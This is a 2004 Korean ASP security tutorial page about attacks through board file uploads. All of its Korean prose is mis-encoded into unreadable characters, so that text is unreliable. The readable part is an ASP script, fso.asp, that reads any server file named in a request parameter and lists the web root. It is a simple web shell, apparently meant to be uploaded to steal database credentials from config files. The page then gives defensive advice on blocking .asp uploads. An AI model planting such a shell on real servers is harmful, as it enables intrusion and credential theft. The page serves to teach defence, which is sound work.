lecture Home > ASP Tips > Danny's À¯¿ëÇÑ ASP ÆÁs

Danny's À¯¿ëÇÑ ASP ÆÁs

   °­Á ÃÖÃÊ ÀÛ¼ºÀÏ : 2004³â 06¿ù 03ÀÏ
   °­Á ÃÖÁ¾ ¼öÁ¤ÀÏ : 2004³â 06¿ù 04ÀÏ

   °­Á ÀÐÀ½ ¼ö : ȸ

   ÀÛ¼ºÀÚ : Danny(Àü ¼º´ë)
   ÆíÁýÀÚ : Taeyo(±è Å¿µ)

   °­Á Á¦¸ñ : ÀÚ·á½ÇÀ» ÀÌ¿ëÇÑ ÇØÅ·°ú º¸¾È 

°­Á Àü Å¿ÀÀÇ Àâ´ã>

°£¸¸¿¡ µîÀåÇϽŠ´ë´Ï´ÔÀÌ Àç¹Ì³­ À̾߱⸦ ÁغñÇØ ¿À¼Ì³×¿ä. ½ÇÁ¦, ÀÌ °­Á¿¡¼­ ´Ù·ç´Â ÇØÅ·(?) ¹æ¹ýÀº 2000³â ÃÊ¿¡ Á¦ »çÀÌÆ®¿Í ¸î¸î À¯¸í Ä¿¹Â´ÏƼ »çÀÌÆ®°¡ ´çÇß´ø ¹æ¹ýÀ̱⵵ ÇÕ´Ï´Ù. ÇÏÇÏÇÏ... ÀØÀ» ¼ö ¾ø´Â »ç°ÇÀ̾úÁÒ ^^.


¾È³çÇϼ¼¿ä. ´ë´ÏÀÔ´Ï´Ù.

À©µµ¿ì ¼­¹ö¸¦ ÀÌ¿ëÇÏ¸é ±âº»À¸·Î FSO(ÆÄÀÏ ½Ã½ºÅÛ ¿ÀºêÁ§Æ®) ÇÔ¼ö¸¦ ÀÌ¿ëÇÒ¼ö ÀÖ½À´Ï´Ù.

ÀÌ´Â ÆÄÀÏÀ» ¸¸µé°í, Áö¿ì°í, ¼öÁ¤Çϰí, Àбâ À§Çؼ­ Ȱ¿ëµÇ´Âµ¥ Á¶±Ý¸¸ ¾Ç¿ëÇÏ¸é ¹Ù·Î ÇØÅ·À» Çϴµ¥¿¡µµ ÀÌ¿ëÀÌ µÈ´ä´Ï´Ù. ´ëÃ¥À» ¾Ë±â À§Çؼ­´Â ÇØÅ·ÀÌ ¾î¶»°Ô ÀÌ·ç¾îÁö´ÂÁö¸¦ ¸ÕÀú ¾Ë¾ß¾ß ÇÕ´Ï´Ù. ¾î¶²½ÄÀ¸·Î ÇØÅ·ÀÌ ÀϾ¼ö ÀÖ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù. (¿ªÁö»çÁö, ³²µµ¾Ë°í..Àڱ⵵ ¾Ë°í... ÂÁ^^)

¸ÕÀú FSO¸¦ ÀÌ¿ëÇÏ¿© ÆÄÀÏÇϳª¸¦ ¸¸µì´Ï´Ù. ÆÄÀÏ À̸§Àº fso.asp ·Î ÇÏ¿© ¸¸µì´Ï´Ù. 

<html>
    <head>
    <title>fso</title>
    </head>
    <body leftmargin="0" rightmargin="0">
<%
    if request("code") <> "" then
        code = request("code")
        updatefile = server.MapPath("/") & "\" & code
        response.write "<b>ÇöÀçÀ§Ä¡ : </b>"&updatefile

        Set fs = Server.CreateObject("Scripting.FileSystemObject")
        Set objFile = fs.OpenTextFile(updatefile,1)
        content = objFile.readall
        str = replace(content,chr(13) & chr(10),"<br>")
%>
        <table border="1" align="center" cellpadding="2" cellspacing="0" width="100%" bordercolordark="white" bordercolorlight="black">
            <tr>
                <td><textarea name="updating" rows= "20"style="width:100%">
                    <%=content%></textarea></td>
            </tr>
        </table>
<%
        set fso = createobject("scripting.filesystemobject")
        file_path = server.mappath("/")
        set objfolder = fso.getfolder(file_path)
        set files = objfolder.files
        i=0
        response.write "ÇöÀçÆú´õ" & objfolder & "<br>"
        filepp = replace(objfolder,server.mappath("/"),"")

        for each file in files
             response.write"<ahref=./test.asp?code=" & filepp & "\" & file.name & ">" & file.name & "</a><br>"
            i=i+1
        next
    end if%
%>
    </body>
</html>

Á¢¼Ó - ÇØ´çurl/fso.asp?code=ÆÄÀÏÀ̸§

À§ÀÇ ¼Ò½º´Â fso ¸¦ ÀÌ¿ëÇÏ¿© °£´ÜÈ÷ ÆÄÀÏÀÇ ¸ñ·ÏÀ» º¸¿©ÁÖ°í Ŭ¸¯À» ÇÏ¸é ¼Ò½º³»¿ëÀ» textarea ¿¡ º¸¿©ÁÖ´Â ¿ªÇÒÀ» ÇÏ°Ô µË´Ï´Ù.

Âü°í: ¼Ò½º¿¡ ´ëÇÑ ¾ÇÇÃÀº »ï°¡ÇØÁֽñ⠹ٶø´Ï´Ù.^^

°­Á¸¦ À§ÇÑ ¼Ò½º·Î ½ÇÁ¦ ½ÇÇàÇØº¸¸é À̰÷Àú°÷ ±º´õ´õ±â ¿¡·¯°¡ ¶ßÁö¸¸ Á¦°¡ Ç¥ÇöÇϰíÀÚ ÇÏ´Â À§Çè¿¡ ³ëÃâµÈ´Ù´Â ¸Þ½ÃÁö¸¦ ÀÌÇØÇϼ˴ٸé... ¼º°ø ¾Æ´Ò±î¿ä^^;

¹®Á¦´Â ÀÌ ÆÄÀÏÀ» ÇØÅ·ÇÏ·Á°í ÇÏ´Â ¼­¹ö¿¡ ¿Ã·Á¾ß µÇ´Âµ¥ ÀÌ°Ô ¹Ù·Î ¹®Á¦ ÀÔ´Ï´Ù. º¸Åë °Ô½ÃÆÇ¿¡ ÀÚ·á ¾÷·Îµå¸¦ ÇÒ °æ¿ì¿¡ È®ÀåÀÚ°¡ aspÆÄÀÏÀÌ ¿Ã¶ó°£´Ù¸é °ÔÀÓ ³¡ÀÌÁÒ(ÇØÅ·ÀÌ µÈ´Ù´Â À̾߱é´Ï´Ù).

ÇÁ·Î±×·¡¸ÓµéÀÇ ¼¶¼¼ÇÑ ÄÚµù ¸îÁÙÀÌ µé¾î°¡Áö ¾Ê´Â´Ù¸é config ÆÄÀÏÀ» ¿­¾îº¸°í DSN°ú id ¿Í pw¸¦ ¹Ù·Î ¾Ë¾Æ³»¾î ¸ðµç µ¥ÀÌŸº£À̽º¸¦ ±Ü¾î¿À°Å³ª Á¶Á¤ÇÒ¼ö°¡ ÀÖ°ÚÁö¿ä. ¶ÇÇÑ, ±× ¼­¹ö¿¡ À¥¸ÞÀÏÀÌ µ¹¾Æ°¡°í ÀÖ´Ù¸é ·ÎÄÿ¡¼­ cdonts ¸¦ ÀÌ¿ëÇÏ¿© ÇØ´ç ¼­¹ö·Î ÷ºÎÆÄÀÏ·Î ¿¬°á½ÃÄѼ­ ½ÇÇàÇÏ¸é ¹®Á¦°¡ µÉ¼ö ÀÖ½À´Ï´Ù.

¸ÖƼÆÄÀÏ ¾÷·Îµå(¸ÞÀϹ߼ÛÀ̳ª ÀÚ·á½Ç) ±¸Çö½Ã ÀÓ½ÃÆú´õ¿¡¸¸ ¿Ã¶ó°£´Ù ÇÏ´õ¶óµµ ´çÀå ¹®Á¦°¡ µÇ°Ú±º¿ä. ÀÌ ÆÄÀÏÀÌ ¾î¶°ÇÑ ¹æ¹ýÀ¸·Îµç ¼­¹ö·Î ¿Ã¶ó°¡¼­ À¥À» ÅëÇØ¼­ Á¢±ÙÀÌ °¡´ÉÇÏ´Ù¸é ±×³É ÇѼø°£¿¡ ¸ðµç ÇØÅ·ÀÌ °¡´ÉÇØ Áø´Ù°í ÇÒ¼ö ÀÖ½À´Ï´Ù.

±×·¸±â ¶§¹®¿¡ ¸ðµç ÀÛ¾÷Àº ÀÌ¿Í °°Àº ¹®Á¦¸¦ »ý°¢Çϸ鼭 ÄÚµùÀ» ÇÏ¼Å¾ß ÇÑ´ä´Ï´Ù.

ÀÌ´Â ¿øÃµÀûÀ¸·Î ºÀ¼âÇÏ·Á¸é ²Ï³ª ¸¹Àº ÀÛ¾÷À» ÇØ¾ß ÇÕ´Ï´Ù. ¸ÕÀú ¸ðµç ÆÄÀÏÁß aspÆÄÀÏÀ» ¾÷·Îµå ÇÒ¼ö°¡ ¾ø¾î¾ß µÇ°Ú½À´Ï´Ù. ¶ÇÇÑ, ÷ºÎ ÆÄÀÏÀ» ´Ù¿î·Îµå ¹ÞÀ»¶§ ¾î´À À§Ä¡¿¡¼­ ´Ù¿î·Îµå°¡ ¹Þ¾ÆÁö´ÂÁö °æ·Î¸¦ ¾Ë¸é Àý´ë ¾ÈµË´Ï´Ù. °æ·Î¸¦ ¾Ïȣȭ½Ã۸é ÁÁ±¸, ±âº»ÀûÀ¸·Î °æ·Î°¡ À¯ÃâµÇÁö ¾Êµµ·Ï ÇØ¾ß ÇϰÚÁö¿ä.

¶ÇÇÑ ¾÷·Îµå³ª ¸ÞÀÏÀ» ¹Þ´Âµ¥¿¡ ÀÖ¾î aspÆÄÀÏÀÌ ¹Þ¾ÆÁö¸é Àý´ë·Î ¾ÈµË´Ï´Ù. °Ô½ÃÆÇ¿¡ ÆÄÀϾ÷·Îµå¿¡ aspÆÄÀÏÀº Àý´ë·Î ¾÷·ÎµåµÇ¸é ¾ÈµÇ°Ú½À´Ï´Ù. exeµîÀÌ ½ÇÇàµÇÁö ¾Êµµ·Ï ÇØ´ç Æú´õÀÇ ½ÇÇà±ÇÇѵµ ¾ø¾î¾ß µÇ°Ú½À´Ï´Ù.

ÀÌ·± »ý°¢À» °¡Áö°í ÄÚµùÀ» Çϸé Á» ´õ ¾ÈÀüÇÏ°Ô ¼­¹ö¸¦ ¿î¿µÇÒ¼ö ÀÖÀ» °Í °°½À´Ï´Ù. Áö±Ý ¹Ù·Î ´Ô²²¼­ °³¹ßÇϽм­¹ö¿¡, ȤÀº °ü¸®Çϰí ÀÖ´Â ¼­¹ö¿¡ ħÀÔÀÚ°¡ µÇ¾î ¶Õ¾îº¸½Ê½Ã¿À. ¸ðµç°Ô ¾ÈÀüÇÏ´Ù ÇÏ´õ¶óµµ À¯½ÉÈ÷ ã¾Æº¸½Ã±â ¹Ù¶ø´Ï´Ù. ÃÊÁöÀϰü, °³¹ßÇϽǶ§´Â Ç×»ó º¸¾ÈÀ» ¿°µÎÇØ Áֽñ⠹ٶø´Ï´Ù.

¾à°£ÀÇ Æí¸®ÇÑ ±â´ÉÀ» žÀçÇÏ°í¼­ º¸¾ÈÀÌ ¸Á°¡Áö´Â °æ¿ì°¡ ¸¹À¸¹Ç·Î Ç×»ó °¨½ÃÇϽñ⠹ٶø´Ï´Ù. °³¹ß ½Ã°£À» ´ÜÃàÇϽŴٰí ÀÌ·± ºÎºÐÀ» ¼ÒȦÀÌ Çß´Ù°£... 5ºÐ»¡¸® °¡·Á´Ù°¡...50³â »¡¸® °£´Ù´Â...¤Ñ¤Ñ;;

ÁñÇÁ ÇϽʽÿÀ.^^

 

°­Á ¸ñ·ÏÀ¸·Î..